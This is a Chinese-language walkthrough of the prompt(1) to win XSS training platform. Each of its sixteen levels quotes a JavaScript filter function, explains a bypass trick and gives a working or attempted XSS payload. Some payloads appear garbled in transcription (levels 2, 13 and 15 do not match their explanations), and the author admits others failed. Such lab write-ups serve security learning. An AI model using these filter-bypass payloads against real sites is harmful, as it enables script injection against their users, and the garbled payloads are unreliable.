prompt(1) to win平台通关记录-先知社区

前言：

prompt（1）to win是一个比较经典的xss训练平台，主要的目的是绕过代码的约束条件然后执行prompt（1）便成功过关，不涉及xss之后的一些利用。本人做了一轮下来，学习到许多js的特性和语法特点，收获还是很多的。有些题目比较简单，就没有说的太多，个人认为比较有意思的题目会比较详细的说明。

练习平台：http://prompt.ml

第0关

function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}

没有任何的过滤，直接闭合前后的尖括号即可

payload: 1">`<script>prompt(1)</script>`<"

第1关

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}

阅读代码，我们的输入经过了一段正则过滤

正则分析：过滤在<>里面的任何东西

？：表示匹配前面的子表达式(/)零次或一次
[^>]：为负值字符集合，匹配未包含 > 的任意字符
+：表示匹配前面的子表达式一次或多次
gi：全局匹配+忽略大小写

payload1:<img src=# onerror="prompt(1)" （src引用的图片不存在则执行onerror事件）

payload2:<body onload=prompt(1)// （onload事件会在页面或图像加载完成后立即发生）

第2关

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}

正则分析：过滤了=以及（

由于输入遇到js代码会先执行js代码，此时的html编码未被解析，绕过正则后，由于前面的svg标签，会对html编码进行解析，payload的html编码便是（，因此可以成功执行

payload:<svg><script>prompt(1)</script>

第3关

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}

本题用_替换了-> , 不过用--！>也可闭合注释

payload：--!>`<script>prompt(1)</script>`

第4关

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}

本题利用的是@的特性进行远程访问服务器的js文件，构造的payload可以当做是以http://prompt.ml 作为身份验证去访问请求localhost/xss.js，由于src引用了这个文件，所以在js文件上写入prompt(1)，理论可以弹出1，但是由于本题的正则匹配，所以必须打入 http://prompt.ml/@localhost/xss.js才能满足正则匹配，而浏览器并不允许这样的格式，但是代码中有decodeURIComponent函数，可以将/改为%2f，完成绕过。

payload:http://prompt.ml%2f@localhost/xss.js

第5关

function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';
}

替换分析：将> ,onxx=(也就是替换了 onerror =),focus替换为_,我们可以使用type将属性覆盖为image，并且在html中，属性描述不在同一行并不影响解析，因此可以利用换行以及type覆盖类型构造onerror格式的xss

payload:"src=# type=image onerror
="prompt(1)

第6关

function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                         \n\
<script>                                                  \n\
    // forbid javascript: or vbscript: and data: stuff    \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
        document.forms[0].submit();                       \n\
    else                                                  \n\
        document.write("Action forbidden.")               \n\
</script>                                                 \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}

根据代码以及注释，我们需要输入url#post格式的内容，最后的正则过滤了script和data，这样做的目的是防止我们利用JavaScript伪协议构造类似像action="javascript:alert(1)这样的语句。

js伪协议: javascript:alert("1") JavaScript后面的被解析为js语句，这样便是js的伪协议的应用

首先尝试构造javascript:prompt(1)#{"test":1}，但是很遗憾，document.forms[0]过滤了script和data字符，没有办法成功提交表单，不过可以利用action进行覆盖。
action有这样的一个特性，如果前后都有action，访问action标签时访问的是后面的action的值。

<form action="javascript:prompt(1)" method="post"><input name="action" value="1"></form>                         
<script>                                                  
    // forbid javascript: or vbscript: and data: stuff    
    if (!/script:|data:/i.test(document.forms[0].action)) 
        document.forms[0].submit();                       
    else                                                  
        document.write("Action forbidden.")               
</script>

以上是正确payload执行后的效果，也就是此时的action的值是1，绕过针对script的正则判断，成功提交表单。

payload：javascript:prompt(1)#{"action":1}

第7关

function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}

代码限定了一次只能输入12个字符

可以利用#拆分为数组的特点以及注释符绕过

<p class="comment" title=""><script>/*"></p>
<p class="comment" title="*/prompt(/*"></p>
<p class="comment" title="*/1)/*"></p>
<p class="comment" title="*/</script>"></p>

以上是输入正确的payload的效果。

payload:"><script>/*#*/prompt(/*#*/1)/*#*/</script>

第8关

function escape(input) {
    // prevent input from getting out of comment
    // strip off line-breaks and stuff
    input = input.replace(/[\r\n</"]/g, '');

    return '                                \n\
<script>                                    \n\
    // console.log("' + input + '");        \n\
</script> ';
}

本题基本思路是利用unicode的行分隔符和段落分隔符进行绕过，但是网上有些payload没有用，

后来发现的办法是将 '\u2028prompt(1)\u2028-->' 在console模块输入，得到的便是payload，然而我在谷歌浏览器得到的字符串似乎没什么变化（u2028是unicode的行分隔符）

然而输入进去居然成功，乍一看觉得不可思议，其实粘贴到输入模块发现其实是有隐藏字符，真正的字符串解析的样子可以使用IE的console模块查看

第9关

function escape(input) {
    // filter potential start-tags
    input = input.replace(/<([a-zA-Z])/g, '<_$1');
    // use all-caps for heading
    input = input.toUpperCase();

    // sample input: you shall not pass! => YOU SHALL NOT PASS!
    return '<h1>' + input + '</h1>';
}

本题会将输入的内容全部转换为大写，而且还会将<script>转换为<_SCRIPT>

toUpperCase()：把字符串转换为大写，（而且还可以转换一些unicode字符）

本题将 ſ 转换为S,这里的ſ字符应该是某个国家的unicode字符，转换后恰好对应s，因此可以完成绕过。

payload：< ſcript/ ſrc="http://localhost/xss.js"></ ſcript>

第10关

function escape(input) {
    // (╯°□°）╯︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬ ノ( ゜-゜ノ) chill out bro
    input = input.replace(/'/g, '');

    // (╯°□°）╯︵ /(.□. \）DONT FLIP ME BRO
    return '<script>' + input + '</script> ';
}

本题将prompt替换为alert，但是同时也将‘替换为空，可以组合绕过一下

payload:prom'pt(1)

第11关

function escape(input) {
    // name should not contain special characters
    var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

    // data to be parsed as JSON
    var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

    // directly "parse" data in script context
    return '                                \n\
<script>                                    \n\
    var data = ' + dataString + ';          \n\
    if (data.action === "login")            \n\
        document.write(data.message)        \n\
</script> ';
}

本题正则过滤了大量的符号，基本思路是利用js的一个特性进行绕过。可以通过下面这个例子来理解

>var array={"n":1,"n":2}
>array.n
>2

通过上面的例子我们知道，在js中，键名相同，输出后值是后面的变量的值，基本的构造思路是构造 ","message":"prompt(1)" 为了绕过正则，需要利用js的一个神奇的语法。

在js中,（prompt(1)）instaneof"1"和（prompt(1)）in"1"是可以成功弹窗的（可以自己在console试一下），其中双引号里面的1可以是任何字符，这里的in或者instanceof是运算符，所以可以有这样的语法结构。

payload:"(prompt(1))instanceof" 或"(prompt(1))in"

第12关

function escape(input) {
    // in Soviet Russia...
    input = encodeURIComponent(input).replace(/'/g, '');
    // table flips you!
    input = input.replace(/prompt/g, 'alert');

    // ノ┬─┬ノ ︵ ( \o°o)\
    return '<script>' + input + '</script> ';
}

本题依旧是将prompt替换为alert，但是和第10关的代码顺序稍许不同，可以用toString进行绕过

parseInt(string,radix):解析一个字符串并返回一个整数

toString():把一个逻辑值转换为字符串并返回结果

基本思路便是将prompt进行转换，但是注意其中字母最大的是t，也就是说至少要30进制才能完全转换

> parseInt("prompt",30)
  > 630038579

  > (630038579).toString(30)
  >"prompt"

如果使用30进制一下，例如29进制，就会出现字符转回缺失

> parseInt("prompt",29)
 > 18361375

 > (18361375).toString(29)
 > "promp"

payload:eval((630038579).toString(30))(1)

第13关

function escape(input) {
    // extend method from Underscore library
    // _.extend(destination, *sources) 
    function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i++) {
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;
    }
    // a simple picture plugin
    try {
        // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
        var data = JSON.parse(input);
        var config = extend({
            // default image source
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input));
        // forbit invalid image source
        if (/[^\w:\/.]/.test(config.source)) {
            delete config.source;
        }
        // purify the source by stripping off "
        var source = config.source.replace(/"/g, '');
        // insert the content using mustache-ish template
        return '<img src="{{source}}">'.replace('{{source}}', source);
    } catch (e) {
        return 'Invalid image data.';
    }
}

本题需要了解一个js的proto属性

proto：每个对象都会在内部初始化这个属性，当访问对象的某个属性时，如果不存在这个属性，便会去proto里寻找这个属性。

可以在console做个实验

>test={"r":1,"__proto__":{"r":2}}
Object { r: 1 }
>test.r
1
>delete test.r
true
>test.r
2

根据这样的特点，我们可以初步构造payload：{"source":"0"," proto":{"source":"onerror=prompt(1)"}}
但是并不能绕过题目的过滤，于是便要利用replace的一个特性

>'11223344'.replace('2',"test")
"11test23344"
>'11223344'.replace('2',"$`test")
"1111test23344"
>'11223344'.replace('2',"$'test")
"1123344test23344"
>'11223344'.replace('2',"$&test")
"112test23344"

老实说这一段我参考别人的wp做了实验后还是不能很好的理解为什么replace会有这些特殊的参数用法，只能暂时先记住这些用法所构造的字符串的规律。因此针对本题就可以构造出我们的payload了

payload： {"source":"'"," proto": {"source":"$`onerror=prompt(1)>"}}

第14关

function escape(input) {
    // I expect this one will have other solutions, so be creative :)
    // mspaint makes all file names in all-caps :(
    // too lazy to convert them back in lower case
    // sample input: prompt.jpg => PROMPT.JPG
    input = input.toUpperCase();
    // only allows images loaded from own host or data URI scheme
    input = input.replace(/\/\/|\w+:/g, 'data:');
    // miscellaneous filtering
    input = input.replace(/[\\&+%\s]|vbs/gi, '_');

    return '<img src="' + input + '">';
}

本题的输入都为大写字母，并且把//和任意字母替换成data：，看来是要构造data URI格式的payload，后面还将\&和空白字符都替换了，所以不能使用十六进制字符。

正常的data URI应该是类似下面这样的

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=">test<a>

其中base64解码出来的结果是<script>alert("XSS")</script>
但是本题的输入全被转换成大写的，正常的payload是无法被解析，老实说这题的官方答案都无法成功执行，看解释的大概意思我猜是火狐浏览器是可以支持大写的base64的解析，然后精心构造一个大写的base64编码，解码后恰好可以达到上面的效果，便能够成功执行，但是我实验后是失败的，我看其他人的wp也都说失败了，emmm不是很清楚具体原因是什么。

参考payload："><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

第15关

function escape(input) {
    // sort of spoiler of level 7
    input = input.replace(/\*/g, '');
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // title can only contain 15 characters
        return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
    }).join('\n');
}

本题跟之前利用#和换行符绕过的思路类似，只不过本题需要再多加个svg以及用<!- - 和 -->进行注释

payload："><svg><script>prompt(1)</script></svg>

结束语

由于本人水平有限，如果有dalao发现文章有纰漏，还望能够指出，谢谢。